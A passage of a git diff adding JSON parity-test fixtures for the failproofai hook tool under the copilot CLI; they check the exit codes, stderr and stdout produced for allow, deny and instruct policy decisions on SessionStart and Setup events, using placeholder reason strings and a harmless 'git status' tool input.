"copilot", + "cwd": "/home/u/project", + "home": "/home/u", + "hookEventName": "SessionStart", + "permissionMode": "default", + "projectDir": "/home/u/project", + "sessionId": "sess-fixture-1", + "transcriptPath": "/home/u/project/.fixture/transcript.jsonl" + } + }, + "output": { + "decision": "instruct", + "exitCode": 0, + "policyName": "parity/policy-1", + "policyNames": [ + "parity/policy-1" + ], + "reason": "parity reason 1: \"q\" \\ /s/ &a\né𝄞\tend", + "stderr": "", + "stdout": "{\"hookSpecificOutput\":{\"hookEventName\":\"SessionStart\",\"additionalContext\":\"Instruction from failproofai: parity reason 1: \\\"q\\\" \\\\ /s/ &a\\né𝄞\\tend\"}}" + }, + "policy_count": 1, + "tool": "tool-absent" +} diff --git a/__tests__/parity/fixtures/copilot/SessionStart/instruct__tool-absent__two-policies.json b/__tests__/parity/fixtures/copilot/SessionStart/instruct__tool-absent__two-policies.json new file mode 100644 index 00000000..65d01843 --- /dev/null +++ b/__tests__/parity/fixtures/copilot/SessionStart/instruct__tool-absent__two-policies.json @@ -0,0 +1,51 @@ +{ + "case": "instruct__tool-absent__two-policies", + "cli": "copilot", + "decision_kind": "instruct", + "event": "SessionStart", + "input": { + "event_type": "SessionStart", + "payload": { + "cwd": "/home/u/project", + "hook_event_name": "SessionStart", + "session_id": "sess-fixture-1", + "transcript_path": "/home/u/project/.fixture/transcript.jsonl" + }, + "policies": [ + { + "decision": "instruct", + "name": "parity/policy-1", + "reason": "parity reason 1: \"q\" \\ /s/ &a\né𝄞\tend" + }, + { + "decision": "instruct", + "name": "parity/policy-2", + "reason": "parity reason 2: \"q\" \\ /s/ &a\né𝄞\tend" + } + ], + "session": { + "cli": "copilot", + "cwd": "/home/u/project", + "home": "/home/u", + "hookEventName": "SessionStart", + "permissionMode": "default", + "projectDir": "/home/u/project", + "sessionId": "sess-fixture-1", + "transcriptPath": "/home/u/project/.fixture/transcript.jsonl" + } + }, + "output": { + "decision": "instruct", + "exitCode": 0, + "policyName": "parity/policy-1", + "policyNames": [ + "parity/policy-1", + "parity/policy-2" + ], + "reason": "parity reason 1: \"q\" \\ /s/ &a\né𝄞\tend\nparity reason 2: \"q\" \\ /s/ &a\né𝄞\tend", + "stderr": "", + "stdout": "{\"hookSpecificOutput\":{\"hookEventName\":\"SessionStart\",\"additionalContext\":\"Instruction from failproofai: parity reason 1: \\\"q\\\" \\\\ /s/ &a\\né𝄞\\tend\\nparity reason 2: \\\"q\\\" \\\\ /s/ &a\\né𝄞\\tend\"}}" + }, + "policy_count": 2, + "tool": "tool-absent" +} diff --git a/__tests__/parity/fixtures/copilot/SessionStart/instruct__tool-present__one-policy.json b/__tests__/parity/fixtures/copilot/SessionStart/instruct__tool-present__one-policy.json new file mode 100644 index 00000000..170a3614 --- /dev/null +++ b/__tests__/parity/fixtures/copilot/SessionStart/instruct__tool-present__one-policy.json @@ -0,0 +1,49 @@ +{ + "case": "instruct__tool-present__one-policy", + "cli": "copilot", + "decision_kind": "instruct", + "event": "SessionStart", + "input": { + "event_type": "SessionStart", + "payload": { + "cwd": "/home/u/project", + "hook_event_name": "SessionStart", + "session_id": "sess-fixture-1", + "tool_input": { + "command": "git status --short" + }, + "tool_name": "Bash", + "transcript_path": "/home/u/project/.fixture/transcript.jsonl" + }, + "policies": [ + { + "decision": "instruct", + "name": "parity/policy-1", + "reason": "parity reason 1: \"q\" \\ /s/ &a\né𝄞\tend" + } + ], + "session": { + "cli": "copilot", + "cwd": "/home/u/project", + "home": "/home/u", + "hookEventName": "SessionStart", + "permissionMode": "default", + "projectDir": "/home/u/project", + "sessionId": "sess-fixture-1", + "transcriptPath": "/home/u/project/.fixture/transcript.jsonl" + } + }, + "output": { + "decision": "instruct", + "exitCode": 0, + "policyName": "parity/policy-1", + "policyNames": [ + "parity/policy-1" + ], + "reason": "parity reason 1: \"q\" \\ /s/ &a\né𝄞\tend", + "stderr": "", + "stdout": "{\"hookSpecificOutput\":{\"hookEventName\":\"SessionStart\",\"additionalContext\":\"Instruction from failproofai: parity reason 1: \\\"q\\\" \\\\ /s/ &a\\né𝄞\\tend\"}}" + }, + "policy_count": 1, + "tool": "tool-present" +} diff --git a/__tests__/parity/fixtures/copilot/SessionStart/instruct__tool-present__two-policies.json b/__tests__/parity/fixtures/copilot/SessionStart/instruct__tool-present__two-policies.json new file mode 100644 index 00000000..77e184ba --- /dev/null +++ b/__tests__/parity/fixtures/copilot/SessionStart/instruct__tool-present__two-policies.json @@ -0,0 +1,55 @@ +{ + "case": "instruct__tool-present__two-policies", + "cli": "copilot", + "decision_kind": "instruct", + "event": "SessionStart", + "input": { + "event_type": "SessionStart", + "payload": { + "cwd": "/home/u/project", + "hook_event_name": "SessionStart", + "session_id": "sess-fixture-1", + "tool_input": { + "command": "git status --short" + }, + "tool_name": "Bash", + "transcript_path": "/home/u/project/.fixture/transcript.jsonl" + }, + "policies": [ + { + "decision": "instruct", + "name": "parity/policy-1", + "reason": "parity reason 1: \"q\" \\ /s/ &a\né𝄞\tend" + }, + { + "decision": "instruct", + "name": "parity/policy-2", + "reason": "parity reason 2: \"q\" \\ /s/ &a\né𝄞\tend" + } + ], + "session": { + "cli": "copilot", + "cwd": "/home/u/project", + "home": "/home/u", + "hookEventName": "SessionStart", + "permissionMode": "default", + "projectDir": "/home/u/project", + "sessionId": "sess-fixture-1", + "transcriptPath": "/home/u/project/.fixture/transcript.jsonl" + } + }, + "output": { + "decision": "instruct", + "exitCode": 0, + "policyName": "parity/policy-1", + "policyNames": [ + "parity/policy-1", + "parity/policy-2" + ], + "reason": "parity reason 1: \"q\" \\ /s/ &a\né𝄞\tend\nparity reason 2: \"q\" \\ /s/ &a\né𝄞\tend", + "stderr": "", + "stdout": "{\"hookSpecificOutput\":{\"hookEventName\":\"SessionStart\",\"additionalContext\":\"Instruction from failproofai: parity reason 1: \\\"q\\\" \\\\ /s/ &a\\né𝄞\\tend\\nparity reason 2: \\\"q\\\" \\\\ /s/ &a\\né𝄞\\tend\"}}" + }, + "policy_count": 2, + "tool": "tool-present" +} diff --git a/__tests__/parity/fixtures/copilot/Setup/allow-silent__tool-absent__one-policy.json b/__tests__/parity/fixtures/copilot/Setup/allow-silent__tool-absent__one-policy.json new file mode 100644 index 00000000..595b79b5 --- /dev/null +++ b/__tests__/parity/fixtures/copilot/Setup/allow-silent__tool-absent__one-policy.json @@ -0,0 +1,43 @@ +{ + "case": "allow-silent__tool-absent__one-policy", + "cli": "copilot", + "decision_kind": "allow-silent", + "event": "Setup", + "input": { + "event_type": "Setup", + "payload": { + "cwd": "/home/u/project", + "hook_event_name": "Setup", + "session_id": "sess-fixture-1", + "transcript_path": "/home/u/project/.fixture/transcript.jsonl" + }, + "policies": [ + { + "decision": "allow", + "name": "parity/policy-1", + "reason": null + } + ], + "session": { + "cli": "copilot", + "cwd": "/home/u/project", + "home": "/home/u", + "hookEventName": "Setup", + "permissionMode": "default", + "projectDir": "/home/u/project", + "sessionId": "sess-fixture-1", + "transcriptPath": "/home/u/project/.fixture/transcript.jsonl" + } + }, + "output": { + "decision": "allow", + "exitCode": 0, + "policyName": null, + "policyNames": null, + "reason": null, + "stderr": "", + "stdout": "" + }, + "policy_count": 1, + "tool": "tool-absent" +} diff --git a/__tests__/parity/fixtures/copilot/Setup/allow-silent__tool-absent__two-policies.json b/__tests__/parity/fixtures/copilot/Setup/allow-silent__tool-absent__two-policies.json new file mode 100644 index 00000000..2864bb38 --- /dev/null +++ b/__tests__/parity/fixtures/copilot/Setup/allow-silent__tool-absent__two-policies.json @@ -0,0 +1,48 @@ +{ + "case": "allow-silent__tool-absent__two-policies", + "cli": "copilot", + "decision_kind": "allow-silent", + "event": "Setup", + "input": { + "event_type": "Setup", + "payload": { + "cwd": "/home/u/project", + "hook_event_name": "Setup", + "session_id": "sess-fixture-1", + "transcript_path": "/home/u/project/.fixture/transcript.jsonl" + }, + "policies": [ + { + "decision": "allow", + "name": "parity/policy-1", + "reason": null + }, + { + "decision": "allow", + "name": "parity/policy-2", + "reason": null + } + ], + "session": { + "cli": "copilot", + "cwd": "/home/u/project", + "home": "/home/u", + "hookEventName": "Setup", + "permissionMode": "default", + "projectDir": "/home/u/project", + "sessionId": "sess-fixture-1", + "transcriptPath": "/home/u/project/.fixture/transcript.jsonl" + } + }, + "output": { + "decision": "allow", + "exitCode": 0, + "policyName": null, + "policyNames": null, + "reason": null, + "stderr": "", + "stdout": "" + }, + "policy_count": 2, + "tool": "tool-absent" +} diff --git a/__tests__/parity/fixtures/copilot/Setup/allow-silent__tool-present__one-policy.json b/__tests__/parity/fixtures/copilot/Setup/allow-silent__tool-present__one-policy.json new file mode 100644 index 00000000..35e88337 --- /dev/null +++ b/__tests__/parity/fixtures/copilot/Setup/allow-silent__tool-present__one-policy.json @@ -0,0 +1,47 @@ +{ + "case": "allow-silent__tool-present__one-policy", + "cli": "copilot", + "decision_kind": "allow-silent", + "event": "Setup", + "input": { + "event_type": "Setup", + "payload": { + "cwd": "/home/u/project", + "hook_event_name": "Setup", + "session_id": "sess-fixture-1", + "tool_input": { + "command": "git status --short" + }, + "tool_name": "Bash", + "transcript_path": "/home/u/project/.fixture/transcript.jsonl" + }, + "policies": [ + { + "decision": "allow", + "name": "parity/policy-1", + "reason": null + } + ], + "session": { + "cli": "copilot", + "cwd": "/home/u/project", + "home": "/home/u", + "hookEventName": "Setup", + "permissionMode": "default", + "projectDir": "/home/u/project", + "sessionId": "sess-fixture-1", + "transcriptPath": "/home/u/project/.fixture/transcript.jsonl" + } + }, + "output": { + "decision": "allow", + "exitCode": 0, + "policyName": null, + "policyNames": null, + "reason": null, + "stderr": "", + "stdout": "" + }, + "policy_count": 1, + "tool": "tool-present" +} diff --git a/__tests__/parity/fixtures/copilot/Setup/allow-silent__tool-present__two-policies.json b/__tests__/parity/fixtures/copilot/Setup/allow-silent__tool-present__two-policies.json new file mode 100644 index 00000000..e99b295d --- /dev/null +++ b/__tests__/parity/fixtures/copilot/Setup/allow-silent__tool-present__two-policies.json @@ -0,0 +1,52 @@ +{ + "case": "allow-silent__tool-present__two-policies", + "cli": "copilot", + "decision_kind": "allow-silent", + "event": "Setup", + "input": { + "event_type": "Setup", + "payload": { + "cwd": "/home/u/project", + "hook_event_name": "Setup", + "session_id": "sess-fixture-1", + "tool_input": { + "command": "git status --short" + }, + "tool_name": "Bash", + "transcript_path": "/home/u/project/.fixture/transcript.jsonl" + }, + "policies": [ + { + "decision": "allow", + "name": "parity/policy-1", + "reason": null + }, + { + "decision": "allow", + "name": "parity/policy-2", + "reason": null + } + ], + "session": { + "cli": "copilot", + "cwd": "/home/u/project", + "home": "/home/u", + "hookEventName": "Setup", + "permissionMode": "default", + "projectDir": "/home/u/project", + "sessionId": "sess-fixture-1", + "transcriptPath": "/home/u/project/.fixture/transcript.jsonl" + } + }, + "output": { + "decision": "allow", + "exitCode": 0, + "policyName": null, + "policyNames": null, + "reason": null, + "stderr": "", + "stdout": "" + }, + "policy_count": 2, + "tool": "tool-present" +} diff --git a/__tests__/parity/fixtures/copilot/Setup/allow-with-reason__tool-absent__one-policy.json b/__tests__/parity/fixtures/copilot/Setup/allow-with-reason__tool-absent__one-policy.json new file mode 100644 index 00000000..97d53696 --- /dev/null +++ b/__tests__/parity/fixtures/copilot/Setup/allow-with-reason__tool-absent__one-policy.json @@ -0,0 +1,45 @@ +{ + "case": "allow-with-reason__tool-absent__one-policy", + "cli": "copilot", + "decision_kind": "allow-with-reason", + "event": "Setup", + "input": { + "event_type": "Setup", + "payload": { + "cwd": "/home/u/project", + "hook_event_name": "Setup", + "session_id": "sess-fixture-1", + "transcript_path": "/home/u/project/.fixture/transcript.jsonl" + }, + "policies": [ + { + "decision": "allow", + "name": "parity/policy-1", + "reason": "parity reason 1: \"q\" \\ /s/ &a\né𝄞\tend" + } + ], + "session": { + "cli": "copilot", + "cwd": "/home/u/project", + "home": "/home/u", + "hookEventName": "Setup", + "permissionMode": "default", + "projectDir": "/home/u/project", + "sessionId": "sess-fixture-1", + "transcriptPath": "/home/u/project/.fixture/transcript.jsonl" + } + }, + "output": { + "decision": "allow", + "exitCode": 0, + "policyName": "parity/policy-1", + "policyNames": [ + "parity/policy-1" + ], + "reason": "parity reason 1: \"q\" \\ /s/ &a\né𝄞\tend", + "stderr": "[failproofai] parity/policy-1: parity reason 1: \"q\" \\ /s/ &a\né𝄞\tend\n", + "stdout": "" + }, + "policy_count": 1, + "tool": "tool-absent" +} diff --git a/__tests__/parity/fixtures/copilot/Setup/allow-with-reason__tool-absent__two-policies.json b/__tests__/parity/fixtures/copilot/Setup/allow-with-reason__tool-absent__two-policies.json new file mode 100644 index 00000000..37e1c360 --- /dev/null +++ b/__tests__/parity/fixtures/copilot/Setup/allow-with-reason__tool-absent__two-policies.json @@ -0,0 +1,51 @@ +{ + "case": "allow-with-reason__tool-absent__two-policies", + "cli": "copilot", + "decision_kind": "allow-with-reason", + "event": "Setup", + "input": { + "event_type": "Setup", + "payload": { + "cwd": "/home/u/project", + "hook_event_name": "Setup", + "session_id": "sess-fixture-1", + "transcript_path": "/home/u/project/.fixture/transcript.jsonl" + }, + "policies": [ + { + "decision": "allow", + "name": "parity/policy-1", + "reason": "parity reason 1: \"q\" \\ /s/ &a\né𝄞\tend" + }, + { + "decision": "allow", + "name": "parity/policy-2", + "reason": "parity reason 2: \"q\" \\ /s/ &a\né𝄞\tend" + } + ], + "session": { + "cli": "copilot", + "cwd": "/home/u/project", + "home": "/home/u", + "hookEventName": "Setup", + "permissionMode": "default", + "projectDir": "/home/u/project", + "sessionId": "sess-fixture-1", + "transcriptPath": "/home/u/project/.fixture/transcript.jsonl" + } + }, + "output": { + "decision": "allow", + "exitCode": 0, + "policyName": "parity/policy-1", + "policyNames": [ + "parity/policy-1", + "parity/policy-2" + ], + "reason": "parity reason 1: \"q\" \\ /s/ &a\né𝄞\tend\nparity reason 2: \"q\" \\ /s/ &a\né𝄞\tend", + "stderr": "[failproofai] parity/policy-1: parity reason 1: \"q\" \\ /s/ &a\né𝄞\tend\n[failproofai] parity/policy-2: parity reason 2: \"q\" \\ /s/ &a\né𝄞\tend\n", + "stdout": "" + }, + "policy_count": 2, + "tool": "tool-absent" +} diff --git a/__tests__/parity/fixtures/copilot/Setup/allow-with-reason__tool-present__one-policy.json b/__tests__/parity/fixtures/copilot/Setup/allow-with-reason__tool-present__one-policy.json new file mode 100644 index 00000000..dfb62abc --- /dev/null +++ b/__tests__/parity/fixtures/copilot/Setup/allow-with-reason__tool-present__one-policy.json @@ -0,0 +1,49 @@ +{ + "case": "allow-with-reason__tool-present__one-policy", + "cli": "copilot", + "decision_kind": "allow-with-reason", + "event": "Setup", + "input": { + "event_type": "Setup", + "payload": { + "cwd": "/home/u/project", + "hook_event_name": "Setup", + "session_id": "sess-fixture-1", + "tool_input": { + "command": "git status --short" + }, + "tool_name": "Bash", + "transcript_path": "/home/u/project/.fixture/transcript.jsonl" + }, + "policies": [ + { + "decision": "allow", + "name": "parity/policy-1", + "reason": "parity reason 1: \"q\" \\ /s/ &a\né𝄞\tend" + } + ], + "session": { + "cli": "copilot", + "cwd": "/home/u/project", + "home": "/home/u", + "hookEventName": "Setup", + "permissionMode": "default", + "projectDir": "/home/u/project", + "sessionId": "sess-fixture-1", + "transcriptPath": "/home/u/project/.fixture/transcript.jsonl" + } + }, + "output": { + "decision": "allow", + "exitCode": 0, + "policyName": "parity/policy-1", + "policyNames": [ + "parity/policy-1" + ], + "reason": "parity reason 1: \"q\" \\ /s/ &a\né𝄞\tend", + "stderr": "[failproofai] parity/policy-1: parity reason 1: \"q\" \\ /s/ &a\né𝄞\tend\n", + "stdout": "" + }, + "policy_count": 1, + "tool": "tool-present" +} diff --git a/__tests__/parity/fixtures/copilot/Setup/allow-with-reason__tool-present__two-policies.json b/__tests__/parity/fixtures/copilot/Setup/allow-with-reason__tool-present__two-policies.json new file mode 100644 index 00000000..d79f976e --- /dev/null +++ b/__tests__/parity/fixtures/copilot/Setup/allow-with-reason__tool-present__two-policies.json @@ -0,0 +1,55 @@ +{ + "case": "allow-with-reason__tool-present__two-policies", + "cli": "copilot", + "decision_kind": "allow-with-reason", + "event": "Setup", + "input": { + "event_type": "Setup", + "payload": { + "cwd": "/home/u/project", + "hook_event_name": "Setup", + "session_id": "sess-fixture-1", + "tool_input": { + "command": "git status --short" + }, + "tool_name": "Bash", + "transcript_path": "/home/u/project/.fixture/transcript.jsonl" + }, + "policies": [ + { + "decision": "allow", + "name": "parity/policy-1", + "reason": "parity reason 1: \"q\" \\ /s/ &a\né𝄞\tend" + }, + { + "decision": "allow", + "name": "parity/policy-2", + "reason": "parity reason 2: \"q\" \\ /s/ &a\né𝄞\tend" + } + ], + "session": { + "cli": "copilot", + "cwd": "/home/u/project", + "home": "/home/u", + "hookEventName": "Setup", + "permissionMode": "default", + "projectDir": "/home/u/project", + "sessionId": "sess-fixture-1", + "transcriptPath": "/home/u/project/.fixture/transcript.jsonl" + } + }, + "output": { + "decision": "allow", + "exitCode": 0, + "policyName": "parity/policy-1", + "policyNames": [ + "parity/policy-1", + "parity/policy-2" + ], + "reason": "parity reason 1: \"q\" \\ /s/ &a\né𝄞\tend\nparity reason 2: \"q\" \\ /s/ &a\né𝄞\tend", + "stderr": "[failproofai] parity/policy-1: parity reason 1: \"q\" \\ /s/ &a\né𝄞\tend\n[failproofai] parity/policy-2: parity reason 2: \"q\" \\ /s/ &a\né𝄞\tend\n", + "stdout": "" + }, + "policy_count": 2, + "tool": "tool-present" +} diff --git a/__tests__/parity/fixtures/copilot/Setup/deny__tool-absent__one-policy.json b/__tests__/parity/fixtures/copilot/Setup/deny__tool-absent__one-policy.json new file mode 100644 index 00000000..7a46a40e --- /dev/null +++ b/__tests__/parity/fixtures/copilot/Setup/deny__tool-absent__one-policy.json @@ -0,0 +1,43 @@ +{ + "case": "deny__tool-absent__one-policy", + "cli": "copilot", + "decision_kind": "deny", + "event": "Setup", + "input": { + "event_type": "Setup", + "payload": { + "cwd": "/home/u/project", + "hook_event_name": "Setup", + "session_id": "sess-fixture-1", + "transcript_path": "/home/u/project/.fixture/transcript.jsonl" + }, + "policies": [ + { + "decision": "deny", + "name": "parity/policy-1", + "reason": "parity reason 1: \"q\" \\ /s/ &a\né𝄞\tend" + } + ], + "session": { + "cli": "copilot", + "cwd": "/home/u/project", + "home": "/home/u", + "hookEventName": "Setup", + "permissionMode": "default", + "projectDir": "/home/u/project", + "sessionId": "sess-fixture-1", + "transcriptPath": "/home/u/project/.fixture/transcript.jsonl" + } + }, + "output": { + "decision": "deny", + "exitCode": 2, + "policyName": "parity/policy-1", + "policyNames": null, + "reason": "parity reason 1: \"q\" \\ /s/ &a\né𝄞\tend", + "stderr": "parity reason 1: \"q\" \\ /s/ &a\né𝄞\tend", + "stdout": "" + }, + "policy_count": 1, + "tool": "tool-absent" +} diff --git a/__tests__/parity/fixtures/copilot/Setup/deny__tool-absent__two-policies.json b/__tests__/parity/fixtures/copilot/Setup/deny__tool-absent__two-policies.json new file mode 100644 index 00000000..9e77f96c --- /dev/null +++ b/__tests__/parity/fixtures/copilot/Setup/deny__tool-absent__two-policies.json @@ -0,0 +1,48 @@ +{ + "case": "deny__tool-absent__two-policies", + "cli": "copilot", + "decision_kind": "deny", + "event": "Setup", + "input": { + "event_type": "Setup", + "payload": { + "cwd": "/home/u/project", + "hook_event_name": "Setup", + "session_id": "sess-fixture-1", + "transcript_path": "/home/u/project/.fixture/transcript.jsonl" + }, + "policies": [ + { + "decision": "deny", + "name": "parity/policy-1", + "reason": "parity reason 1: \"q\" \\ /s/ &a\né𝄞\tend" + }, + { + "decision": "deny", + "name": "parity/policy-2", + "reason": "parity reason 2: \"q\" \\ /s/ &a\né𝄞\tend" + } + ], + "session": { + "cli": "copilot", + "cwd": "/home/u/project", + "home": "/home/u", + "hookEventName": "Setup", + "permissionMode": "default", + "projectDir": "/home/u/project", + "sessionId": "sess-fixture-1", + "transcriptPath": "/home/u/project/.fixture/transcript.jsonl" + } + }, + "output": { + "decision": "deny", + "exitCode": 2, + "policyName": "parity/policy-1", + "policyNames": null, + "reason": "parity reason 1: \"q\" \\ /s/ &a\né𝄞\tend", + "stderr": "parity reason 1: \"q\" \\ /s/ &a\né𝄞\tend", + "stdout": "" + }, + "policy_count": 2, + "tool": "tool-absent" +} diff --git a/__tests__/parity/fixtures/copilot/Setup/deny__tool-present__one-policy.json b/__tests__/parity/fixtures/copilot/Setup/deny__tool-present__one-policy.json new file mode 100644 index 00000000..3fb25e6d --- /dev/null +++ b/__tests__/parity/fixtures/copilot/Setup/deny__tool-present__one-policy.json @@ -0,0 +1,47 @@ +{ + "case": "deny__tool-present__one-policy", + "cli": "copilot", + "decision_kind": "deny", + "event": "Setup", + "input": { + "event_type": "Setup", + "payload": { + "cwd": "/home/u/project", + "hook_event_name": "Setup", + "session_id": "sess-fixture-1", + "tool_input": { + "command": "git status --short" + }, + "tool_name": "Bash", + "transcript_path": "/home/u/project/.fixture/transcript.jsonl" + }, + "policies": [ + { + "decision": "deny", + "name": "parity/policy-1", + "reason": "parity reason 1: \"q\" \\ /s/ &a\né𝄞\tend" + } + ], + "session": { + "cli": "copilot", + "cwd": "/home/u/project", + "home": "/home/u", + "hookEventName": "Setup", + "permissionMode": "default", + "projectDir": "/home/u/project", + "sessionId": "sess-fixture-1", + "transcriptPath": "/home/u/project/.fixture/transcript.jsonl" + } + }, + "output": { + "decision": "deny", + "exitCode": 2, + "policyName": "parity/policy-1", + "policyNames": null, + "reason": "parity reason 1: \"q\" \\ /s/ &a\né𝄞\tend", + "stderr": "parity reason 1: \"q\" \\ /s/ &a\né𝄞\tend", + "stdout": "" + }, + "policy_count": 1, + "tool": "tool-present" +} diff --git a/__tests__/parity/fixtures/copilot/Setup/deny__tool-present__two-policies.json b/__tests__/parity/fixtures/copilot/Setup/deny__tool-present__two-policies.json new file mode 100644 index 00000000..fdfc669f --- /dev/null +++ b/__tests__/parity/fixtures/copilot/Setup/deny__tool-present__two-policies.json @@ -0,0 +1,52 @@ +{ + "case": "deny__tool-present__two-policies", + "cli": "copilot", + "decision_kind": "deny", + "event": "Setup", + "input": { + "event_type": "Setup", + "payload": { + "cwd": "/home/u/project", + "hook_event_name": "Setup", + "session_id": "sess-fixture-1", + "tool_input": { + "command": "git status --short" + }, + "tool_name": "Bash", + "transcript_path": "/home/u/project/.fixture/transcript.jsonl" + }, + "policies": [ + { + "decision": "deny", + "name": "parity/policy-1", + "reason": "parity reason 1: \"q\" \\ /s/ &a\né𝄞\tend" + }, + { + "decision": "deny", + "name": "parity/policy-2", + "reason": "parity reason 2: \"q\" \\ /s/ &a\né𝄞\tend" + } + ], + "session": { + "cli": "copilot", + "cwd": "/home/u/project", + "home": "/home/u", + "hookEventName": "Setup", + "permissionMode": "default", + "projectDir": "/home/u/project", + "sessionId": "sess-fixture-1", + "transcriptPath": "/home/u/project/.fixture/transcript.jsonl" + } + }, + "output": { + "decision": "deny", + "exitCode": 2, + "policyName": "parity/policy-1", + "policyNames": null, + "reason": "parity reason 1: \"q\" \\ /s/ &a\né𝄞\tend", + "stderr": "parity reason 1: \"q\" \\ /s/ &a\né𝄞\tend", + "stdout": "" + }, + "policy_count": 2, + "tool": "tool-present" +} diff --git a/__tests__/parity/fixtures/copilot/Setup/instruct__tool-absent__one-policy.json b/__tests__/parity/fixtures/copilot/Setup/instruct__tool-absent__one-policy.json new file mode 100644 index 00000000..4b305f57 --- /dev/null +++ b/__tests__/parity/fixtures/copilot/Setup/instruct__tool-absent__one-policy.json @@ -0,0 +1,45 @@ +{ + "case": "instruct__tool-absent__one-policy", + "cli": "copilot", + "decision_kind": "instruct", + "event": "Setup", + "input": { + "event_type": "Setup", + "payload": { + "cwd": "/home/u/project", + "hook_event_name": "Setup", + "session_id": "sess-fixture-1", + "transcript_path": "/home/u/project/.fixture/transcript.jsonl" + }, + "policies": [ + { + "decision": "instruct", + "name": "parity/policy-1", + "reason": "parity reason 1: \"q\" \\ /s/ &a\né𝄞\tend" + } + ], + "session": { + "cli": "copilot", + "cwd": "/home/u/project", + "home": "/home/u", + "hookEventName": "Setup", + "permissionMode": "default", + "projectDir": "/home/u/project", + "sessionId": "sess-fixture-1", + "transcriptPath": "/home/u/project/.fixture/transcript.jsonl" + } + }, + "output": { + "decision": "instruct", + "exitCode": 0, + "policyName": "parity/policy-1", + "policyNames": [ + "parity/policy-1" + ], + "reason": "parity reason 1: \"q\" \\ /s/ &a\né𝄞\tend", + "stderr": "", + "stdout": "{\"hookSpecificOutput\":{\"hookEventName\":\"Setup\",\"additionalContext\":\"Instruction from failproofai: parity reason 1: \\\"q\\\" \\\\ /s/ &a\\né𝄞\\tend\"}}" + }, + "policy_count": 1, + "tool": "tool-absent" +} diff --git a/__tests__/parity/fixtures/copilot/Setup/instruct__tool-absent__two-policies.json b/__tests__/parity/fixtures/copilot/Setup/instruct__tool-absent__two-policies.json new file mode 100644 index 00000000..c70ff946 --- /dev/null +++ b/__tests__/parity/fixtures/copilot/Setup/instruct__tool-absent__two-policies.json @@ -0,0 +1,51 @@ +{ + "case": "instruct__tool-absent__two-policies", + "cli": "copilot", + "decision_kind": "instruct", + "event": "Setup", + "input": { + "event_type": "Setup", + "payload": { + "cwd": "/home/u/project", + "hook_event_name": "Setup", + "session_id": "sess-fixture-1", + "transcript_path": "/home/u/project/.fixture/transcript.jsonl" + }, + "policies": [ + { + "decision": "instruct", + "name": "parity/policy-1", + "reason": "parity reason 1: \"q\" \\ /s/ &a\né𝄞\tend" + }, + { + "decision": "instruct", + "name": "parity/policy-2", + "reason": "parity reason 2: \"q\" \\ /s/ &a\né𝄞\tend" + } + ], + "session": { + "cli": "copilot", + "cwd": "/home/u/project", + "home": "/home/u", + "hookEventName": "Setup", + "permissionMode": "default", + "projectDir": "/home/u/project", + "sessionId": "sess-fixture-1", + "transcriptPath": "/home/u/project/.fixture/transcript.jsonl" + } + }, + "output": { + "decision": "instruct", + "exitCode": 0, + "policyName": "parity/policy-1", + "policyNames": [ + "parity/policy-1", + "parity/policy-2" + ], + "reason": "parity reason 1: \"q\" \\ /s/ &a\né𝄞\tend\nparity reason 2: \"q\" \\ /s/ &a\né𝄞\tend", + "stderr": "", + "stdout": "{\"hookSpecificOutput\":{\"hookEventName\":\"Setup\",\"additionalContext\":\"Instruction from failproofai: parity reason 1: \\\"q\\\" \\\\ /s/ &a\\né𝄞\\tend\\nparity reason 2: \\\"q\\\" \\\\ /s/ &a\\né𝄞\\tend\"}}" + }, + "policy_count": 2, + "tool": "tool-absent" +} diff --git a/__tests__/parity/fixtures/copilot/Setup/instruct__tool-present__one-policy.json b/__tests__/parity/fixtures/copilot/Setup/instruct__tool-present__one-policy.json new file mode 100644 index 00000000..46f025dd --- /dev/null +++ b/__tests__/parity/fixtures/copilot/Setup/instruct__tool-present__one-policy.json @@ -0,0 +1,49 @@ +{ + "case": "instruct__tool-present__one-policy", + "cli": "copilot", + "decision_kind": "instruct", + "event": "Setup", + "input": { + "event_type": "Setup", + "payload": { + "cwd": "/home/u/project", + "hook_event_name": "Setup", + "session_id": "sess-fixture-1", + "tool_input": { + "command": "git status --short" + }, + "tool_name": "Bash", + "transcript_path": "/home/u/project/.fixture/transcript.jsonl" + }, + "policies": [ + { + "decision": "instruct", + "name": "parity/policy-1", + "reason": "parity reason 1: \"q\" \\ /s/ &a\né𝄞\tend" + } + ], + "session": { + "cli": "copilot", + "cwd": "/home/u/project", + "home": "/home/u", + "hookEventName": "Setup", + "permissionMode": "default", + "projectDir": "/home/u/project", + "sessionId": "sess-fixture-1", + "transcriptPath": "/home/u/project/.fixture/transcript.jsonl" + } + }, + "output": { + "decision": "instruct", + "exitCode": 0, + "policyName": "parity/policy-1", + "policyNames": [ + "parity/policy-1" + ], + "reason": "parity reason 1: \"q\" \\ /s/ &a\né𝄞\tend", + "stderr": "", + "stdout": "{\"hookSpecificOutput\":{\"hookEventName\":\"Setup\",\"additionalContext\":\"Instruction from failproofai: parity reason 1: \\\"q\\\" \\\\ /s/ &a\\né𝄞\\tend\"}}" + }, + "policy_count": 1, + "tool": "tool-present" +} diff --git a/__tests__/parity/fixtures/copilot/Setup/instruct__tool-present__two-policies.json b/__tests__/parity/fixtures/copilot/Setup/instruct__tool-present__two-policies.json new file mode 100644 index 00000000..e747aea8 --- /dev/null +++ b/__tests__/parity/fixtures/copilot/Setup/instruct__tool-present__two-policies.json @@ -0,0 +1,55 @@ +{ + "case": "instruct__tool-present__two-policies", + "cli": "copilot", + "decision_kind": "instruct", + "event": "Setup", + "input": { + "event_type": "Setup", + "payload": { + "cwd": "/home/u/project", + "hook_event_name": "Setup", + "session_id": "sess-fixture-1", + "tool_input": { + "command": "git status --short" + }, + "tool_name": "Bash", + "transcript_path": "/home/u/project/.fixture/transcript.jsonl" + }, + "policies": [ + { + "decision": "instruct", + "name": "parity/policy-1", + "reason": "parity reason 1: \"q\" \\ /s/ &a\né𝄞\tend" + }, + { + "decision": "instruct", + "name": "parity/policy-2", + "reason": "parity reason 2: \"q\" \\ /s/ &a\né𝄞\tend" + } + ], + "session": { + "cli": "copilot", + "cwd": "/home/u/project", + "home": "/home/u", + "hookEventName": "Setup", + "permissionMode": "default", + "projectDir": "/home/u/project", + "sessionId": "sess-fixture-1", + "transcriptPath": "/home/u/project/.fixture/transcript.jsonl" + } + }, + "output": { + "decision": "instruct", + "exitCode": 0, + "policyName": "parity/policy-1", + "policyNames": [ + "parity/policy-1", + "parity/policy-2" + ], + "reason": "parity reason 1: \"q\" \\ /s/ &a\né𝄞\tend\nparity reason 2: \"q\" \\ /s/ &a\né𝄞\tend", + "stderr": "", + "stdout": 